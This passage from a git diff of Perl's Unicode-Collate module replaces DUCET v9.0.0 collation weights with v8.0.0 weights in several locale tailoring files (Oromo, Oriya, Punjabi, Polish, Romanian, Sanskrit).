LETTER O WITH CIRCUMFLEX AND TILDE +1ED6 ; [.1D59.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE +1ED5 ; [.1D59.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED4 ; [.1D59.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE +1ED9 ; [.1D59.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW +1ED8 ; [.1D59.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW +0161 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0073 030C ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON +0053 030C ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CARON ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/om.pl b/cpan/Unicode-Collate/Collate/Locale/om.pl index 49a5108b0798..0ee1893aa0f9 100644 --- a/cpan/Unicode-Collate/Collate/Locale/om.pl +++ b/cpan/Unicode-Collate/Collate/Locale/om.pl @@ -1,22 +1,22 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0063 0068 ; [.1F22.0020.0002] # -0043 0068 ; [.1F22.0020.0007] # -0043 0048 ; [.1F22.0020.0008] # -0064 0068 ; [.1F23.0020.0002] # -0044 0068 ; [.1F23.0020.0007] # -0044 0048 ; [.1F23.0020.0008] # -006B 0068 ; [.1F24.0020.0002] # -004B 0068 ; [.1F24.0020.0007] # -004B 0048 ; [.1F24.0020.0008] # -006E 0079 ; [.1F25.0020.0002] # -004E 0079 ; [.1F25.0020.0007] # -004E 0059 ; [.1F25.0020.0008] # -0070 0068 ; [.1F26.0020.0002] # -0050 0068 ; [.1F26.0020.0007] # -0050 0048 ; [.1F26.0020.0008] # -0073 0068 ; [.1F27.0020.0002] # -0053 0068 ; [.1F27.0020.0007] # + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0063 0068 ; [.1E9D.0020.0002] # +0043 0068 ; [.1E9D.0020.0007] # +0043 0048 ; [.1E9D.0020.0008] # +0064 0068 ; [.1E9E.0020.0002] # +0044 0068 ; [.1E9E.0020.0007] # +0044 0048 ; [.1E9E.0020.0008] # +006B 0068 ; [.1E9F.0020.0002] # +004B 0068 ; [.1E9F.0020.0007] # +004B 0048 ; [.1E9F.0020.0008] # +006E 0079 ; [.1EA0.0020.0002] # +004E 0079 ; [.1EA0.0020.0007] # +004E 0059 ; [.1EA0.0020.0008] # +0070 0068 ; [.1EA1.0020.0002] # +0050 0068 ; [.1EA1.0020.0007] # +0050 0048 ; [.1EA1.0020.0008] # +0073 0068 ; [.1EA2.0020.0002] # +0053 0068 ; [.1EA2.0020.0007] # ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/or.pl b/cpan/Unicode-Collate/Collate/Locale/or.pl index 3e4ded12c13b..409a00673faa 100644 --- a/cpan/Unicode-Collate/Collate/Locale/or.pl +++ b/cpan/Unicode-Collate/Collate/Locale/or.pl @@ -1,12 +1,12 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0B01 ; [.278B.0020.0002][.FFF1.0000.0000] # ORIYA SIGN CANDRABINDU -0B02 ; [.278B.0020.0002][.FFF2.0000.0000] # ORIYA SIGN ANUSVARA -0B03 ; [.278B.0020.0002][.FFF3.0000.0000] # ORIYA SIGN VISARGA -0B14 ; [.278B.0020.0002][.FFF0.0000.0000] # ORIYA LETTER AU -0B15 0B4D 0B37 ; [.27AF.0020.0002][.FFF1.0000.0000] # -0B39 ; [.27AF.0020.0002][.FFF0.0000.0000] # ORIYA LETTER HA -0B5F ; [.27A5.0021.0002] # ORIYA LETTER YYA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0B01 ; [.26FE.0020.0002][.FFF1.0000.0000] # ORIYA SIGN CANDRABINDU +0B02 ; [.26FE.0020.0002][.FFF2.0000.0000] # ORIYA SIGN ANUSVARA +0B03 ; [.26FE.0020.0002][.FFF3.0000.0000] # ORIYA SIGN VISARGA +0B14 ; [.26FE.0020.0002][.FFF0.0000.0000] # ORIYA LETTER AU +0B15 0B4D 0B37 ; [.2722.0020.0002][.FFF1.0000.0000] # +0B39 ; [.2722.0020.0002][.FFF0.0000.0000] # ORIYA LETTER HA +0B5F ; [.2718.0021.0002] # ORIYA LETTER YYA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/pa.pl b/cpan/Unicode-Collate/Collate/Locale/pa.pl index 11950d111304..d22d00e23617 100644 --- a/cpan/Unicode-Collate/Collate/Locale/pa.pl +++ b/cpan/Unicode-Collate/Collate/Locale/pa.pl @@ -1,27 +1,27 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0A71 ; [.0000.00C3.0002] # GURMUKHI ADDAK -0A03 ; [.0000.00C2.0002] # GURMUKHI SIGN VISARGA -0A70 ; [.0000.00C4.0002] # GURMUKHI TIPPI -0A02 ; [.0000.00C5.0002] # GURMUKHI SIGN BINDI -0A01 ; [.0000.00C6.0002] # GURMUKHI SIGN ADAK BINDI -0A3C ; [.0000.00C7.0002] # GURMUKHI SIGN NUKTA -0A33 ; [.272C.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER LLA -0A36 ; [.270D.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER SHA -0A59 ; [.2711.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER KHHA -0A5A ; [.2712.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER GHHA -0A5B ; [.2717.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER ZA -0A5E ; [.2725.0020.0002][.0000.00C7.0002] # GURMUKHI LETTER FA -0A4D ; [.272F.0020.0002] # GURMUKHI SIGN VIRAMA -0A3E ; [.2730.0020.0002] # GURMUKHI VOWEL SIGN AA -0A3F ; [.2731.0020.0002] # GURMUKHI VOWEL SIGN I -0A40 ; [.2732.0020.0002] # GURMUKHI VOWEL SIGN II -0A41 ; [.2733.0020.0002] # GURMUKHI VOWEL SIGN U -0A42 ; [.2734.0020.0002] # GURMUKHI VOWEL SIGN UU -0A47 ; [.2735.0020.0002] # GURMUKHI VOWEL SIGN EE -0A48 ; [.2736.0020.0002] # GURMUKHI VOWEL SIGN AI -0A4B ; [.2737.0020.0002] # GURMUKHI VOWEL SIGN OO -0A4C ; [.2738.0020.0002] # GURMUKHI VOWEL SIGN AU + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0A71 ; [.0000.00BE.0002] # GURMUKHI ADDAK +0A03 ; [.0000.00BD.0002] # GURMUKHI SIGN VISARGA +0A70 ; [.0000.00BF.0002] # GURMUKHI TIPPI +0A02 ; [.0000.00C0.0002] # GURMUKHI SIGN BINDI +0A01 ; [.0000.00C1.0002] # GURMUKHI SIGN ADAK BINDI +0A3C ; [.0000.00C2.0002] # GURMUKHI SIGN NUKTA +0A33 ; [.269F.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER LLA +0A36 ; [.2680.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER SHA +0A59 ; [.2684.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER KHHA +0A5A ; [.2685.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER GHHA +0A5B ; [.268A.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER ZA +0A5E ; [.2698.0020.0002][.0000.00C2.0002] # GURMUKHI LETTER FA +0A4D ; [.26A2.0020.0002] # GURMUKHI SIGN VIRAMA +0A3E ; [.26A3.0020.0002] # GURMUKHI VOWEL SIGN AA +0A3F ; [.26A4.0020.0002] # GURMUKHI VOWEL SIGN I +0A40 ; [.26A5.0020.0002] # GURMUKHI VOWEL SIGN II +0A41 ; [.26A6.0020.0002] # GURMUKHI VOWEL SIGN U +0A42 ; [.26A7.0020.0002] # GURMUKHI VOWEL SIGN UU +0A47 ; [.26A8.0020.0002] # GURMUKHI VOWEL SIGN EE +0A48 ; [.26A9.0020.0002] # GURMUKHI VOWEL SIGN AI +0A4B ; [.26AA.0020.0002] # GURMUKHI VOWEL SIGN OO +0A4C ; [.26AB.0020.0002] # GURMUKHI VOWEL SIGN AU ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/pl.pl b/cpan/Unicode-Collate/Collate/Locale/pl.pl index 36e208b36abd..57bf3f1f5080 100644 --- a/cpan/Unicode-Collate/Collate/Locale/pl.pl +++ b/cpan/Unicode-Collate/Collate/Locale/pl.pl @@ -1,51 +1,51 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0105 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH OGONEK -0061 0328 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH OGONEK -0104 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH OGONEK -0041 0328 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH OGONEK -0107 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0063 0301 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0063 0341 ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH ACUTE -0106 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -0043 0301 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -0043 0341 ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE -0119 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH OGONEK -0065 0328 ; [.1CAB.0020.0002] # LATIN SMALL LETTER E WITH OGONEK -0118 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0045 0328 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER E WITH OGONEK -0142 ; [.1D78.0020.0002] # LATIN SMALL LETTER L WITH STROKE -006C 0335 ; [.1D78.0020.0002] # LATIN SMALL LETTER L WITH STROKE -0141 ; [.1D78.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE -004C 0335 ; [.1D78.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE -0144 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0301 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE -006E 0341 ; [.1DBA.0020.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0301 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE -004E 0341 ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE -00F3 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0301 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -006F 0341 ; [.1DDE.0020.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0301 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE -004F 0341 ; [.1DDE.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE -015B ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH ACUTE -0073 0301 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH ACUTE -0073 0341 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH ACUTE -015A ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE -0053 0301 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE -0053 0341 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE -017A ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE -007A 0301 ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE -007A 0341 ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE -0179 ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE -005A 0301 ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE -005A 0341 ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE -017C ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE -007A 0307 ; [.1F23.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE -017B ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE -005A 0307 ; [.1F23.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0105 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH OGONEK +0061 0328 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH OGONEK +0104 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH OGONEK +0041 0328 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH OGONEK +0107 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH ACUTE +0063 0301 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH ACUTE +0063 0341 ; [.1BF6.0020.0002] # LATIN SMALL LETTER C WITH ACUTE +0106 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE +0043 0301 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE +0043 0341 ; [.1BF6.0020.0008] # LATIN CAPITAL LETTER C WITH ACUTE +0119 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH OGONEK +0065 0328 ; [.1C26.0020.0002] # LATIN SMALL LETTER E WITH OGONEK +0118 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0045 0328 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER E WITH OGONEK +0142 ; [.1CF3.0020.0002] # LATIN SMALL LETTER L WITH STROKE +006C 0335 ; [.1CF3.0020.0002] # LATIN SMALL LETTER L WITH STROKE +0141 ; [.1CF3.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE +004C 0335 ; [.1CF3.0020.0008] # LATIN CAPITAL LETTER L WITH STROKE +0144 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0301 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH ACUTE +006E 0341 ; [.1D35.0020.0002] # LATIN SMALL LETTER N WITH ACUTE +0143 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0301 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE +004E 0341 ; [.1D35.0020.0008] # LATIN CAPITAL LETTER N WITH ACUTE +00F3 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0301 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +006F 0341 ; [.1D59.0020.0002] # LATIN SMALL LETTER O WITH ACUTE +00D3 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0301 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE +004F 0341 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER O WITH ACUTE +015B ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH ACUTE +0073 0301 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH ACUTE +0073 0341 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH ACUTE +015A ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE +0053 0301 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE +0053 0341 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH ACUTE +017A ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE +007A 0301 ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE +007A 0341 ; [.1E9D.0020.0002] # LATIN SMALL LETTER Z WITH ACUTE +0179 ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE +005A 0301 ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE +005A 0341 ; [.1E9D.0020.0008] # LATIN CAPITAL LETTER Z WITH ACUTE +017C ; [.1E9E.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE +007A 0307 ; [.1E9E.0020.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE +017B ; [.1E9E.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE +005A 0307 ; [.1E9E.0020.0008] # LATIN CAPITAL LETTER Z WITH DOT ABOVE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/ro.pl b/cpan/Unicode-Collate/Collate/Locale/ro.pl index 82f63a6e25a7..69a94af684ab 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ro.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ro.pl @@ -1,53 +1,53 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0103 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH BREVE -0061 0306 ; [.1C48.0020.0002] # LATIN SMALL LETTER A WITH BREVE -0102 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE -0041 0306 ; [.1C48.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE -1EB1 ; [.1C48.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE -1EB0 ; [.1C48.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE -1EAF ; [.1C48.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH BREVE AND ACUTE -1EAE ; [.1C48.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE -1EB5 ; [.1C48.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH BREVE AND TILDE -1EB4 ; [.1C48.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE -1EB3 ; [.1C48.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE -1EB2 ; [.1C48.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE -1EB7 ; [.1C48.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW -1EB6 ; [.1C48.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW -00E2 ; [.1C49.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX -0061 0302 ; [.1C49.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX -00C2 ; [.1C49.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX -0041 0302 ; [.1C49.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX -1EA7 ; [.1C49.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE -1EA6 ; [.1C49.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE -1EA5 ; [.1C49.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE -1EA4 ; [.1C49.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE -1EAB ; [.1C49.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE -1EAA ; [.1C49.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE -1EA9 ; [.1C49.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE -1EA8 ; [.1C49.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE -1EAD ; [.1C49.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW -1EAC ; [.1C49.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW -00EE ; [.1D33.0020.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX -0069 0302 ; [.1D33.0020.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX -00CE ; [.1D33.0020.0008] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX -0049 0302 ; [.1D33.0020.0008] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX -015F ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA -0073 0327 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA -0219 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH COMMA BELOW -0073 0326 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH COMMA BELOW -015E ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA -0053 0327 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA -0218 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH COMMA BELOW -0053 0326 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH COMMA BELOW -0163 ; [.1E96.0020.0002] # LATIN SMALL LETTER T WITH CEDILLA -0074 0327 ; [.1E96.0020.0002] # LATIN SMALL LETTER T WITH CEDILLA -021B ; [.1E96.0020.0002] # LATIN SMALL LETTER T WITH COMMA BELOW -0074 0326 ; [.1E96.0020.0002] # LATIN SMALL LETTER T WITH COMMA BELOW -0162 ; [.1E96.0020.0008] # LATIN CAPITAL LETTER T WITH CEDILLA -0054 0327 ; [.1E96.0020.0008] # LATIN CAPITAL LETTER T WITH CEDILLA -021A ; [.1E96.0020.0008] # LATIN CAPITAL LETTER T WITH COMMA BELOW -0054 0326 ; [.1E96.0020.0008] # LATIN CAPITAL LETTER T WITH COMMA BELOW + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0103 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH BREVE +0061 0306 ; [.1BC3.0020.0002] # LATIN SMALL LETTER A WITH BREVE +0102 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE +0041 0306 ; [.1BC3.0020.0008] # LATIN CAPITAL LETTER A WITH BREVE +1EB1 ; [.1BC3.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH BREVE AND GRAVE +1EB0 ; [.1BC3.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH BREVE AND GRAVE +1EAF ; [.1BC3.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH BREVE AND ACUTE +1EAE ; [.1BC3.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH BREVE AND ACUTE +1EB5 ; [.1BC3.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH BREVE AND TILDE +1EB4 ; [.1BC3.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH BREVE AND TILDE +1EB3 ; [.1BC3.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH BREVE AND HOOK ABOVE +1EB2 ; [.1BC3.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH BREVE AND HOOK ABOVE +1EB7 ; [.1BC3.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH BREVE AND DOT BELOW +1EB6 ; [.1BC3.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH BREVE AND DOT BELOW +00E2 ; [.1BC4.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX +0061 0302 ; [.1BC4.0020.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX +00C2 ; [.1BC4.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX +0041 0302 ; [.1BC4.0020.0008] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX +1EA7 ; [.1BC4.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND GRAVE +1EA6 ; [.1BC4.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND GRAVE +1EA5 ; [.1BC4.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND ACUTE +1EA4 ; [.1BC4.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND ACUTE +1EAB ; [.1BC4.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND TILDE +1EAA ; [.1BC4.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND TILDE +1EA9 ; [.1BC4.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE +1EA8 ; [.1BC4.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND HOOK ABOVE +1EAD ; [.1BC4.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER A WITH CIRCUMFLEX AND DOT BELOW +1EAC ; [.1BC4.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER A WITH CIRCUMFLEX AND DOT BELOW +00EE ; [.1CAE.0020.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX +0069 0302 ; [.1CAE.0020.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX +00CE ; [.1CAE.0020.0008] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX +0049 0302 ; [.1CAE.0020.0008] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX +015F ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA +0073 0327 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH CEDILLA +0219 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH COMMA BELOW +0073 0326 ; [.1DED.0020.0002] # LATIN SMALL LETTER S WITH COMMA BELOW +015E ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA +0053 0327 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH CEDILLA +0218 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH COMMA BELOW +0053 0326 ; [.1DED.0020.0008] # LATIN CAPITAL LETTER S WITH COMMA BELOW +0163 ; [.1E11.0020.0002] # LATIN SMALL LETTER T WITH CEDILLA +0074 0327 ; [.1E11.0020.0002] # LATIN SMALL LETTER T WITH CEDILLA +021B ; [.1E11.0020.0002] # LATIN SMALL LETTER T WITH COMMA BELOW +0074 0326 ; [.1E11.0020.0002] # LATIN SMALL LETTER T WITH COMMA BELOW +0162 ; [.1E11.0020.0008] # LATIN CAPITAL LETTER T WITH CEDILLA +0054 0327 ; [.1E11.0020.0008] # LATIN CAPITAL LETTER T WITH CEDILLA +021A ; [.1E11.0020.0008] # LATIN CAPITAL LETTER T WITH COMMA BELOW +0054 0326 ; [.1E11.0020.0008] # LATIN CAPITAL LETTER T WITH COMMA BELOW ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/sa.pl b/cpan/Unicode-Collate/Collate/Locale/sa.pl index 416b8b095cd6..2b6b270ab3a8 100644 --- a/cpan/Unicode-Collate/Collate/Locale/sa.pl +++ b/cpan/Unicode-Collate/Collate/Locale/sa.pl @@ -1,14 +1,14 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0902 ; [.265B.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA -0901 ; [.265B.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU -0903 ; [.265B.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA -0950 ; [.265B.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM -0933 ; [.269E.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA -0934 ; [.269E.0020.0002][.FFF1.0000.0000][.0000.00C2.0002] # DEVANAGARI LETTER LLLA -0915 094D 0937 ; [.269E.0020.0002][.FFF2.0000.0000] # -091C 094D 091E ; [.269E.0020.0002][.FFF3.0000.0000] # -0939 ; [.269E.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0902 ; [.25CE.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA +0901 ; [.25CE.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU +0903 ; [.25CE.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA +0950 ; [.25CE.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM +0933 ; [.2611.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA +0934 ; [.2611.0020.0002][.FFF1.0000.0000][.0000.00BD.0002] # DEVANAGARI LETTER LLLA +0915 094D 0937 ; [.2611.0020.0002][.FFF2.0000.0000] # +091C 094D 091E ; [.2611.0020.0002][.FFF3.0000.0000] # +0939 ; [.2611.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/se.pl b/cpan/Unicode-Collate/Collate/Locale/se.pl index ee0d99a77edc..57633b2b273d 100644 --- 